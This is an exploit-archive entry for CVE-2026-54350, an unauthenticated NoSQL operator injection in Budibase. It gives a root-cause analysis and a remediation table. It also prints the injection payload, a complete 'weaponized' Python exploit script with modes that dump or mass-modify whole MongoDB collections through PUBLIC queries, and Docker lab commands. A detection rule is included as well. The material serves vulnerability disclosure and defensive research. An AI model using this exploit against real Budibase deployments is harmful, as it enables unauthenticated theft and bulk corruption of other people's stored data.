PoC Archive PoC Archive
CVE-2026-54350 category: web CVSS 10 (CRITICAL)
Patched

Budibase Unauthenticated NoSQL Operator Injection (CVE-2026-54350)

Published: 2026-07-27 • Researcher: BiiTts (Caio Fabrício)

Target software Budibase (open-source low-code application platform) — POST /api/v2/queries/:queryId
Affected versions Vendor advisory / NVD range < 3.39.12; empirically the bare-quote injection vector used by this PoC is only exploitable on <= 3.39.0 — from 3.39.1 the templating layer already escapes injected quotes, and the explicit fix (processJsonStringSync) lands in 3.39.9
Status Weaponized — reproduced end-to-end against a real budibase/budibase:3.39.0 instance
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-54350 (GHSA-8qv3-p479-cj62)
Category
web
Affected product
Budibase (open-source low-code application platform) — POST /api/v2/queries/:queryId
Affected versions
Vendor advisory / NVD range < 3.39.12; empirically the bare-quote injection vector used by this PoC is only exploitable on <= 3.39.0 — from 3.39.1 the templating layer already escapes injected quotes, and the explicit fix (processJsonStringSync) lands in 3.39.9
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherBiiTts (Caio Fabrício)
CVE / AdvisoryCVE-2026-54350 (GHSA-8qv3-p479-cj62)
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
StatusWeaponized — reproduced end-to-end against a real budibase/budibase:3.39.0 instance
Tagsbudibase, nosql-injection, mongodb, unauthenticated, low-code, json-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemBudibase (open-source low-code application platform) — POST /api/v2/queries/:queryId
Versions AffectedVendor advisory / NVD range < 3.39.12; empirically the bare-quote injection vector used by this PoC is only exploitable on <= 3.39.0 — from 3.39.1 the templating layer already escapes injected quotes, and the explicit fix (processJsonStringSync) lands in 3.39.9
Language / PlatformNode.js / TypeScript backend, MongoDB (and other document datasources: CouchDB, Elasticsearch, DynamoDB-PartiQL, REST-with-JSON-body)
Authentication RequiredNo
Network Access RequiredYes — direct HTTP(S) reachability to a Budibase instance that has at least one published app with a PUBLIC-role query

Summary

Budibase queries interpolate user-supplied parameters directly into a query’s raw JSON body via Handlebars, then JSON.parse the result. The only input filter blocks Handlebars markers ({{/}}) but does not block ", \, } or $ — so a parameter value containing a closing quote breaks out of its intended string slot and injects a sibling JSON key. Supplying a duplicate key whose value is a MongoDB operator object (e.g. {"$exists":true}) wins the JSON.parse duplicate-key merge and is passed straight into collection.find() or collection.updateMany(). Because any query whose access role is set to PUBLIC bypasses both session authentication and CSRF checks in the authorized() middleware, and the x-budibase-app-id header needed to reach it is public (embedded in every published-app URL), an unauthenticated remote attacker can dump or mass-modify every document in the backing collection with a single HTTP request. This is NoSQL operator injection (CWE-943 / CWE-89-adjacent), not remote code execution — some summaries of this CVE frame it as RCE, which is incorrect; the confirmed impact is unauthenticated bulk read/write of database contents, not arbitrary code execution on the server.

Vulnerability Details

Root Cause

enrichContext() (packages/server/src/sdk/workspace/queries/queries.ts) builds the outgoing query body by running the builder’s raw JSON template (e.g. {"name":"{{ name }}"}) through Handlebars’ processStringSync() with noEscaping: true, then JSON.parses the resulting string. On vulnerable builds this applies uniformly to every string field, including the JSON body itself — so parameter values are interpolated with no JSON escaping. The only guard, validateQueryInputs() (api/controllers/query/index.ts), rejects a value only if it contains a literal Handlebars block ({{/}}); it does not sanitize ", \, } or $. A parameter value that closes the intended string with " and appends a duplicate JSON key survives validation, gets interpolated raw, and — thanks to JSON.parse’s “last key wins” duplicate-key semantics — silently overrides the original key with an attacker-controlled value, including a MongoDB query operator object. That parsed object is passed unmodified into collection.find() / collection.updateMany() in integrations/mongodb.ts.

Access control does not save this: authorized() (middleware/authorized.ts) short-circuits with return next() whenever the query’s resolved resource role includes the built-in PUBLIC role, skipping session auth and CSRF entirely. Marking a query PUBLIC is a first-class, intended builder feature (it’s how published apps expose data to anonymous visitors in the first place) — the bug is that the JSON body underneath that public-facing query can be reshaped by the attacker, not that PUBLIC queries exist.

Attack Vector

  1. Identify a published Budibase app with a query whose access role is PUBLIC and whose JSON body embeds a parameter inside a string value (e.g. {"name":"{{ name }}"}), backed by MongoDB or another document datasource.
  2. Obtain the app’s app_... id (public, embedded in the published app’s URL/traffic) and the target query’s query_... id (visible in the app’s own client-side API calls).
  3. Send an unauthenticated POST /api/v2/queries/:queryId with header x-budibase-app-id: <app_id> and a parameters body where the targeted field’s value is:
    Output
    zzz","name":{"$exists":true},"$comment":"cve-2026-54350
  4. The server interpolates this raw into the JSON template, producing {"name":"zzz","name":{"$exists":true},"$comment":"cve-2026-54350"}; JSON.parse keeps the last name key, yielding {"name":{"$exists":true},"$comment":"..."} — a filter that matches every document. $comment is an inert MongoDB meta-operator used purely to absorb the template’s trailing "} so the body stays valid JSON.
  5. Against a find-type query this dumps the whole collection; against an updateMany-type query with the same technique, the filter is widened to match every document, so the query’s $set write applies to the entire collection.

Impact

  • Confidentiality: unauthenticated bulk read of every document in the backing collection of any PUBLIC read query, including any sensitive fields the app was never meant to expose collection-wide.
  • Integrity: unauthenticated bulk modification of every document in the backing collection when a PUBLIC write (update) query exists.
  • Single unauthenticated HTTP request, no session, no CSRF token, cross-origin capable (CVSS S:C — scope change into the underlying datastore).
  • Not remote code execution. There is no code-execution primitive in this chain: the injected value only reaches a MongoDB query-operator context (collection.find() / collection.updateMany()), not an interpreter, eval, template-engine sandbox escape, or OS command. Impact is confined to the contents of the backing document datastore.

Environment / Lab Setup

Output
Target:      budibase/budibase:3.39.0 (Docker) + mongo:4.4 (Docker), --network host
             (mongo 4.4 chosen because the test host lacks AVX, required by Mongo 5.0+;
              3.39.0 chosen because 3.39.1+ already escapes the injected quotes)
Attacker:    Python 3, standard library only (urllib) — no third-party dependencies
Tools:       exploit.py (this folder), lab/provision.py + lab/setup.sh (this folder)

Setup Steps

Shell script
1
bash lab/setup.sh

Proof of Concept

See exploit.py (full, unmodified) and upstream-README.md / ANALYSIS.md in this folder — mirrored from BiiTts/CVE-2026-54350-Budibase-NoSQL-Injection. Verified before ingestion: exploit.py is a self-contained, stdlib-only (urllib) script that sends a genuine crafted HTTP request to the real vulnerable endpoint (POST /api/v2/queries/:queryId with x-budibase-app-id) and parses the real JSON response — no obfuscation, no unrelated network calls, no destructive default behavior. lab/provision.py and lab/setup.sh build a legitimate, reproducible Docker lab against the real upstream budibase/budibase:3.39.0 image and mongo:4.4, provisioning the PUBLIC query through Budibase’s own builder REST APIs rather than hand-editing internal state. ANALYSIS.md walks the exact vulnerable source paths (enrichContext, validateQueryInputs, authorized.ts, integrations/mongodb.ts) across the vulnerable (3.39.0) and fixed (3.39.9+) tags, with a documented empirical version boundary. This is consistent with genuine, tested exploitation rather than a template or guess.

Step-by-Step Reproduction

  1. Stand up the lab — Docker containers + provisioned PUBLIC queries

    Shell script
    1
    2
    3
    4
    5
    
    bash lab/setup.sh
    # prints, e.g.:
    #   PROD_APP_ID : app_...
    #   READ_QUERY  : ...
    #   UPDATE_QUERY: ...
  2. Dump the entire collection via the PUBLIC read query — no auth required

    Shell script
    1
    2
    
    python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
        --query-id <READ_QUERY> --mode read
  3. Mass-modify the entire collection via the PUBLIC update query — no auth required

    Shell script
    1
    2
    
    python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
        --query-id <UPDATE_QUERY> --mode write

Exploit Code

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def build_injection(field):
    # Repeating <field> as an operator object wins the duplicate-key JSON.parse;
    # $comment absorbs the template's trailing quote and is an inert MongoDB
    # meta-operator.
    #   <field> = { "$exists": true }   -> matches every document
    return f'zzz","{field}":{{"$exists":true}},"$comment":"cve-2026-54350'

def execute(base, app_id, query_id, parameters, timeout=20):
    url = f"{base.rstrip('/')}/api/v2/queries/{query_id}"
    data = json.dumps({"parameters": parameters}).encode()
    req = urllib.request.Request(
        url, data=data, method="POST",
        headers={"Content-Type": "application/json", "x-budibase-app-id": app_id},
    )
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.status, resp.read().decode()

Expected Output

Output
[+] Dumped 5 document(s) unauthenticated:

[
  {
    "name": "Alice Nguyen",
    "email": "alice@example.com",
    "ssn": "REDACTED-001",
    "plan": "pro",
    "balance": 1240.55
  },
  ...
]

Screenshots / Evidence

  • Not included in this archive entry. The upstream author’s README references a captured run in EVIDENCE.txt, which is not committed to the source repository (git history shows only exploit.py, ANALYSIS.md, README.md, and lab/); reproduce locally via lab/setup.sh + exploit.py to generate equivalent evidence.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible Budibase NoSQL operator injection (CVE-2026-54350)"; content:"/api/v2/queries/"; http_uri; content:"$exists"; http_client_body; sid:9000002;)

Remediation

ActionDetail
PatchUpgrade to Budibase >= 3.39.12 per the vendor advisory (GHSA-8qv3-p479-cj62); at minimum >= 3.39.9, where processJsonStringSync JSON-escapes interpolated parameters before JSON.parse.
WorkaroundAudit all published apps for queries whose access role is PUBLIC; restrict them to authenticated roles wherever anonymous access is not a deliberate design requirement.
Config HardeningFor document datasources, prefer parameterized queries / driver-level query builders over string-templated JSON bodies wherever the Budibase version and datasource support it.

References

Notes

Impact framing correction: some descriptions of CVE-2026-54350 circulating alongside its CVSS 10.0 score imply remote code execution. That framing is not supported by the vendor advisory, the NVD vector string (.../A:N, i.e. no availability impact and no code-execution component), or the code-level analysis in ANALYSIS.md. The actual, verified primitive is NoSQL operator injection — unauthenticated bulk read and bulk write of MongoDB (or other document datastore) contents via query-operator injection through a JSON-templating flaw. It is analogous in spirit to classic SQL injection reaching a query builder, not to an RCE chain. The CVSS 10.0 is driven by the combination of no authentication, no user interaction, network attack vector, scope change, and full confidentiality/integrity impact on the backing datastore — not by code execution on the host.

Version boundary: NVD lists the affected range as < 3.39.12, but the researcher’s own empirical testing (documented in ANALYSIS.md) found the bare-quote injection vector used by this PoC is only exploitable on <= 3.39.0 — the templating layer already escapes injected quotes from 3.39.1 onward, well before the explicit processJsonStringSync fix lands in 3.39.9. The PoC and lab in this folder correctly target 3.39.0, the latest release inside the vendor advisory’s actually-affected range, rather than the coarser NVD boundary.

lab/provision.py provisions the vulnerable configuration entirely through Budibase’s own builder REST APIs (create admin, create app, create datasource, create queries, set PUBLIC role, publish) — it does not hand-edit internal state or weaken any default; marking a query PUBLIC is an intended, first-class builder feature that published apps rely on to serve data to anonymous visitors. EVIDENCE.txt, referenced in the upstream README as a captured full run, is not present in the upstream git repository (confirmed via git clone --depth 1 of the source repo) and so is not included here.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
"""
CVE-2026-54350 - Budibase unauthenticated NoSQL operator injection
Read (dump entire collection) / Write (mass-modify entire collection) via a
PUBLIC query, with no session, using only the public x-budibase-app-id header.

Author: Caio Fabricio (BiiTts)
"""
import argparse
import json
import sys
import urllib.request
import urllib.error


def execute(base, app_id, query_id, parameters, timeout=20):
    url = f"{base.rstrip('/')}/api/v2/queries/{query_id}"
    data = json.dumps({"parameters": parameters}).encode()
    req = urllib.request.Request(
        url, data=data, method="POST",
        headers={
            "Content-Type": "application/json",
            "x-budibase-app-id": app_id,
        },
    )
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def build_injection(field):
    """
    The query's JSON body embeds the parameter inside a string value, e.g.
        {"...":"...","<field>":"{{ <param> }}", ...}
    On affected builds the value is interpolated WITHOUT JSON escaping, so a
    closing quote lets us inject sibling keys. Repeating <field> as an operator
    object wins the duplicate-key JSON.parse; $comment absorbs the template's
    trailing quote and is an inert MongoDB meta-operator.
        <field> = { "$exists": true }   -> matches every document
    """
    return f'zzz","{field}":{{"$exists":true}},"$comment":"cve-2026-54350'


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-54350 Budibase unauthenticated NoSQL operator injection")
    ap.add_argument("--url", required=True, help="Base URL, e.g. http://target")
    ap.add_argument("--app-id", required=True,
                    help="Published app id (app_...), public from the app URL")
    ap.add_argument("--query-id", required=True,
                    help="Target PUBLIC query id (query_...), seen in the app's API traffic")
    ap.add_argument("--param", default="name",
                    help="Name of the query parameter to inject (default: name)")
    ap.add_argument("--field", default=None,
                    help="JSON key the parameter is bound to (default: same as --param)")
    ap.add_argument("--mode", choices=["read", "write"], default="read",
                    help="read = dump collection; write = mass-modify (updateMany query)")
    ap.add_argument("--raw", action="store_true", help="Print raw HTTP response body")
    args = ap.parse_args()

    field = args.field or args.param
    injection = build_injection(field)

    status, body = execute(args.url, args.app_id, args.query_id, {args.param: injection})

    if args.raw:
        print(f"[HTTP {status}]")
        print(body)
        return

    if status == 401:
        print("[-] 401 - query is not PUBLIC (or app id wrong). Not exploitable here.")
        sys.exit(2)
    if status != 200:
        print(f"[-] HTTP {status}: {body[:300]}")
        sys.exit(1)

    try:
        parsed = json.loads(body)
        data = parsed.get("data", parsed) if isinstance(parsed, dict) else parsed
    except json.JSONDecodeError:
        print("[-] Non-JSON response:")
        print(body[:500])
        sys.exit(1)

    if args.mode == "read":
        rows = data if isinstance(data, list) else []
        print(f"[+] Dumped {len(rows)} document(s) unauthenticated:\n")
        print(json.dumps(rows, indent=2, default=str))
    else:
        print("[+] Mass-write result (updateMany widened to whole collection):\n")
        print(json.dumps(data, indent=2, default=str))


if __name__ == "__main__":
    main()